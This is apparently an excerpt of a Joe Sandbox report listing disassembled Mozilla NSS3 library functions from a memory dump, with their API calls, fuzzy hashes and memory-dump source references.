Opcode Fuzzy Hash: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction Fuzzy Hash: E6F0A4B59001187BDA617B609C49C9B3E2DDF46269F404834FD0956603DB79E924DAF3

Function 6C774DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C774DCB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C774DE1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C774DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C774E59

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C83300C,00000000), ref: 6C774EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C774EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C774F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C77521A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction ID: 3e7a4717d974f12adccb4836e9cfff8d1d25040f1b4190da259b7fc3db865403
Opcode Fuzzy Hash: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction Fuzzy Hash: D7F19B71E00209CBDF24CF54EA447AEB7B2BF44358F258129E915AB781E775E981CFA0

Function 6C704FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C70502A
PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C705034
PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,00000001,00000000,6C850148,?,6C716FEC), ref: 6C705055
PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,?,00000001,00000000,6C850148,?,6C716FEC), ref: 6C70506D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction ID: 8b955900cf231a32fcb22b3b4bdaec9cfcbd346cbbdc1ca67e28deea7300c844
Opcode Fuzzy Hash: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction Fuzzy Hash: 64311AF1B092109BEB608B67994C76B3BF8BB1736CF015174E90087641DB78A404CBE5

Function 6C6A2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6A2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6A3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6A30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A3178

Strings

%s at line %d of [%.10s], xrefs: 6C6A3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A3022, 6C6A3156, 6C6A3162, 6C6A318A, 6C6A3196, 6C6A31A2, 6C6A31AE, 6C6A31BA, 6C6A31C6
database corruption, xrefs: 6C6A316C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction ID: c3b291e8c95163d7e5a2a7cfe72f24221d79b8757bdd0853435af52e6ca0a051
Opcode Fuzzy Hash: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction Fuzzy Hash: 14B18DB0E052199BCB18CFDDC885AEEB7B1BF49304F148529E849A7B41D374DD42CBA8

Function 6C777F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FB2

Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA51
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA6B
Part of subcall function 6C6FBA40: EnterCriticalSection.KERNEL32 ref: 6C6FBA83
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBAA1
Part of subcall function 6C6FBA40: _PR_MD_UNLOCK.NSS3 ref: 6C6FBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FD4

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C779430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C779466

PR_ExitMonitor.NSS3(?), ref: 6C77801B
PR_EnterMonitor.NSS3(?), ref: 6C778034
TlsGetValue.KERNEL32 ref: 6C7780A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7780C0
PR_ExitMonitor.NSS3(?), ref: 6C77811C
PR_ExitMonitor.NSS3(?), ref: 6C778134

Strings

), xrefs: 6C7780DB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction ID: b7435f7c0fa3f6f0ca98967ad0decdefc479993abea79e562eaf13c7711497f3
Opcode Fuzzy Hash: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction Fuzzy Hash: 61513771A007099BEF319F34DE087EB77B0AF5235CF04053DD95966A42E731AA19C7A2

Function 6C71FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C71FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C71FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C71FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C71FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C71FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C71FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71FD84

Strings

:, xrefs: 6C71FD78

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8b8ddf341b8283f30729024ec7fa57458d943361f99ae01168f41c6bca215111
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: DE31E2B29182065BEB108EA8DE1A7BF77A8AF45358F190534DC59A7F00E771E908C7D2

Function 6C736C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C736C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C736CD5

Strings

hSession = 0x%x, xrefs: 6C736C7E, 6C736C8E
(CK_INVALID_HANDLE), xrefs: 6C736C9C
pMechanism = 0x%p, xrefs: 6C736CD0
C_DigestInit, xrefs: 6C736C61

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction ID: 1163715778a3afe0dee5052f636e1e3c9e6b50d696fca48f51abdc26a2efb1c1
Opcode Fuzzy Hash: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction Fuzzy Hash: 672125306051249BDB219B25DF4DFAA37B5EB8231CF446435E40D9BB03DB38A948C7D6

Function 6C739DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C739DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C739E65

Strings

hSession = 0x%x, xrefs: 6C739E0E, 6C739E1E
(CK_INVALID_HANDLE), xrefs: 6C739E2C
C_SessionCancel, xrefs: 6C739DF1
flags = 0x%x, xrefs: 6C739E60

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction ID: eff496e9c80e4c76eae3fac8b8419011c7023d561c0a6b01efba12f17de64334
Opcode Fuzzy Hash: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction Fuzzy Hash: B0212872646124AFD7209B15DF8CB7A33B9AB4230DF446434E80D5BB42DF38A848C7D6

Function 6C700F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C700F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C700F84

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C71F59B,6C82890C,?), ref: 6C700FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C700FC1

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C700FDB
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C700FEF
PL_FreeArenaPool.NSS3(?), ref: 6C701001
PL_FinishArenaPool.NSS3(?), ref: 6C701009

Strings

security, xrefs: 6C700F5C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction ID: c0013a623214527b89b48435bd8c03dea16a3f4a886bf371f4f83fa1af674741
Opcode Fuzzy Hash: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction Fuzzy Hash: 922128B1A04244ABE7109F25DE48AAB77B4EF4535CF048928FC1897B01FB31E659CBD2

Function 6C706DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C707D8F,6C707D8F,?,?), ref: 6C706DC8

Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08
Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D
Part of subcall function 6C75FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C707D8F,?,?), ref: 6C706DD5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FA0,00000000,?,?,?,?,6C707D8F,?,?), ref: 6C706DF7

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706E35

Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
Part of subcall function 6C75FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706E4C

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706E82

Part of subcall function 6C706AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C70B21D,00000000,00000000,6C70B219,?,6C706BFB,00000000,?,00000000,00000000,?,?,?,6C70B21D), ref: 6C706B01
Part of subcall function 6C706AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C706B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706F6B
PR_SetError.NSS3(FFFFE005,00000000,6C707D8F,?,?), ref: 6C706FE1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction ID: fe878ca64825f1aa36d2ca572a45e191b3c442ffcc7bfc4682762650e52c169f
Opcode Fuzzy Hash: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction Fuzzy Hash: EF715EB1E106469BDB00CF55CE54BAABBE4BF54348F154229EC08D7B11E770EAD5CB90

Function 6C740FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C741057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C741085
PK11_GetAllTokens.NSS3 ref: 6C7410B1
free.MOZGLUE(?), ref: 6C741107
PR_SetError.NSS3(00000000,00000000), ref: 6C741172
free.MOZGLUE(?), ref: 6C741182
free.MOZGLUE(?), ref: 6C7411A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7411C5

Part of subcall function 6C7452C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C7452DF
Part of subcall function 6C7452C0: EnterCriticalSection.KERNEL32(?), ref: 6C7452F3
Part of subcall function 6C7452C0: PR_Unlock.NSS3(?), ref: 6C745358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411F3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction ID: a3ae7b89685b31dbb7c3697b30d306c5d7bb095f162765280d7f1262ce85902f
Opcode Fuzzy Hash: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction Fuzzy Hash: 3661B5B4E00345DBEB00EF64DA45BAAB7B5AF04348F148138EC19AB751E771E954CB91

Function 6C74ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEF1
free.MOZGLUE(6C72CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C72CDBB,?), ref: 6C74AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AF30

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
